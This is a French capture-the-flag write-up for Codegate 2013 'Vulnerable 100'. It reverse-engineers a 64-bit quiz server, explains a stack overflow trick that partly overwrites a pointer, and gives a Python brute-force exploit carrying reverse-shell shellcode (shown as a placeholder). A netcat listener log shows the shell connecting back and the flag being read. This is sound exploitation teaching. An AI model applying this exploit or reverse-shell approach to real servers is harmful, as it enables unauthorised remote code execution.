Codegate YUT 2013 Preliminary > Vulnerable 100
Le vuln 100 est un ELF 64-bits, strippé et compilé avec stackexec (!). Chose marrante, les organisateurs ont laissé pendant 4 heures une version semblable mais inexploitable (ça fait toujours plaisir de s'arracher les cheveux pendant 4 heures pour rien sur une épreuve à 100 points). L'exécutable est un serveur TCP sur le port 6666, simulant une sorte de quizz.
Le main commence à 0x400cf8, en commençant par initialiser le contenu des 3 questions ainsi que les hash MD5 des réponses. Ensuite, la socket serveur est initialisée, accepte des clients et forke le service à 0x400fba. Le début du service n'a rien de bien intéressant : le service envoie une question, lit respectivement 7, 13 et 3 bytes pour chaque réponse dans des buffers de 12, 16 et 16 bytes.
En revanche, lorsque l'utilisateur a répondu correctement aux 3 questions, l'application demande un username pour le classement du jeu, à partir de 0x4011d9 :
mov rsi, [rbp+var_420] ; buf mov eax, [rbp+var_8] mov ecx, 0 ; flags mov edx, 800h ; n mov edi, eax ; fd call _recv mov rax, [rbp+var_420] mov rdi, rax call sub_400C69 mov rax, cs:buf mov [rbp+var_428], 0FFFFFFFFFFFFFFFFh mov rdx, rax mov eax, 0 mov rcx, [rbp+var_428] mov rdi, rdx repne scasb mov rax, rcx not rax sub rax, 1 lea rdx, [rax-2] ; n mov rsi, cs:buf ; buf mov eax, [rbp+var_8] mov ecx, 0 ; flags mov edi, eax ; fd call _send
On commence à voir apparaître des choses un peu bizarres : deux lectures successives de 0x800 dans le même buffer *(rbp-0x420), appel d'une fonction inconnue à 0x400C69, calcul de strlen(*cs:buf) - 1, puis envoi dans la socket de *cs:buf. La première question : où pointe rbp - 0x420 ? Il faut remonter à 0x400d09 pour trouver un mov [rbp+var_420], rsi, au tout début du main. rsi au tout début du main pointe vers argv[0], et c'est donc là que l'username est écrit Oo. On a donc contrôle de argv et de l'environnement, mais pas grand chose de plus.
Il faut donc s'intéresser à la fonction du milieu, à 0x400c69 :
var_120 = -120h src = -118h dest = -110h var_8 = -8 push rbp mov rbp, rsp sub rsp, 120h mov [rbp+src], rdi lea rax, [rbp+dest] mov [rbp+var_8], rax // rsi = strlen(rbp+src) mov rdx, [rbp+src] lea rax, [rbp+dest] mov rcx, rdx mov rdx, rsi ; n mov rsi, rcx ; src mov rdi, rax ; dest call _memcpy mov rdx, [rbp+src] mov rax, [rbp+var_8] mov rsi, rdx ; src mov rdi, rax ; dest call _strcpy mov rax, [rbp+var_8] mov cs:buf, rax leave retn
On effectue donc en théorie deux copies du même buffer argument (argv[0]), la première avec memcpy vers un buffer de la pile à rbp - 0x110, et la deuxième avec strcpy vers l'espace pointé par rbp - 8. Pas très réaliste, mais on a donc notre overflow. A noter que la dernière instruction fait pointer cs:buf vers le buffer local pointé par rbp - 8 (wtf). Petit problème : en 32-bits, aucun soucis, on fait un premier overflow qui fait pointer rbp - 8 vers le BSS, on réécrit l'adresse de retour avec l'adresse du BSS, on place un shellcode au début et le tour est joué. Seulement, en 64-bits, l'adresse à rbp-8 doit contenir des bytes nuls pour peu qu'elle soit valide, et comme le memcpy est fait avec comme paramètre strlen(arg), on ne peut donc pas immédiatement réécrire l'adresse de retour.
L'astuce ici est de réécrire rbp - 8 par quasiment la même adresse qu'initialement, mais décalée de 16 bytes. Ainsi, Lors de la première écriture, on ne fait que réécrire rbp - 8, qui ne pointerait plus vers rbp - 0x110, mais rbp - 0x100. Lors de la deuxième copie, c'est en réalité l'adresse de retour qui sera réécrite par rbp - 0x100, exécutant donc notre charge (puisque la pile est exécutable). Une deuxième astuce nous permettait d'avoir une idée des adresses de la pile : si on envoyait un buffer "vide" (\x00), alors memcpy() et strcpy() ne feraient pas grand chose, mais cs:buf pointerait quand même vers rbp - 0x110. Or, dans le code qui suit montré plus haut, on évalue strlen(cs:buf) - 1, qui dans ce cas vaut - 1, et en réalité, toute la pile à partir du rbp - 0x110 original sera envoyée via le socket :
On voit en effet l'adresse de retour à 0x118, et on retrouve bien notre adresse censée pointer vers rbp - 0x110 à l'offset 0x108 du dump. On note au passage qu'ASLR est désactivé, puisque la pile a des adresses en 0x7fffffffXXXX. Malheureusement, cette adresse n'est pas rbp - 0x110, probablement réécrite lors de l'appel à send(). Ceci dit, elle donne une bonne estimation et il ne nous reste plus qu'à bruteforce à partir de 0x7fffffffe000 pour être large :
#!/usr/bin/python import socket import select import struct HOST="58.229.122.18" def recvTillPattern(sock, pattern): txt = "" while 1: sel = select.select([sock],[],[]) if len(sel[0]) == 1: c = sock.recv(1) if len(c) == 0: break txt += c if pattern in txt: break else: break return txt def prelude(): s = socket.socket() s.connect((HOST, 6666)) recvTillPattern(s, "(only small letter)") s.sendall("arsenal\n") recvTillPattern(s, "(only small letter)") s.sendall("gyeongbokgung\n") recvTillPattern(s, "(only small letter)") s.sendall("psy\n") print recvTillPattern(s, "nickname:") return s shellcode = [ reverse shell ] for addr in range(0x7fffffffe000, 0x7ffffffff000, 4): sock = prelude() sock.sendall("\x90"*(0x108-len(shellcode)-20) + shellcode + '\x90'*20 + struct.pack("<Q", addr)) try: print sock.recv(1024) except: pass sock.close()
Côté netcat :
$ nc -vvv -l 1337 Connection from 58.229.122.18 port 1337 [tcp/*] accepted whoami codegate2013 ls key pwn cat key Key is "Very_G00d_St6rt!!_^^"